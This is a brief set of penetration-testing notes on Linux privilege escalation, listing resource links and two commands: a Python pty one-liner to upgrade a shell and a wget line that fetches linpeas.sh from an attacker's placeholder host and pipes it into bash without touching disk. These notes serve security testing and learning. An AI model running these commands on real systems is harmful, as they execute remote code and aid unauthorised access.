Linux Priv Escalate

python -c 'import pty; pty.spawn("/bin/bash")'

Upgrading simple shell to

NetSec's Linux Privilege Escalation Scripts: https://netsec.ws/?p=309

Linux Privilege Escalation in Four Ways: https://medium.com/swlh/linux-privilege-escalation-in-four-ways-eedb52903b3

Four ways provided by Vickie Li:

  • Exploiting a classic command injection

  • Exploiting a database injection

  • Exploiting a path traversal vulnerability

  • Exploiting Redis

PEASS: https://github.com/blackhatethicalhacking/privilege-escalation-awesome-scripts-suite

How to wget linpeas without storing on disk, but executing

#After python3 -m http.server
wget -O - your.ip:port/linpeas.sh | bash

Last updated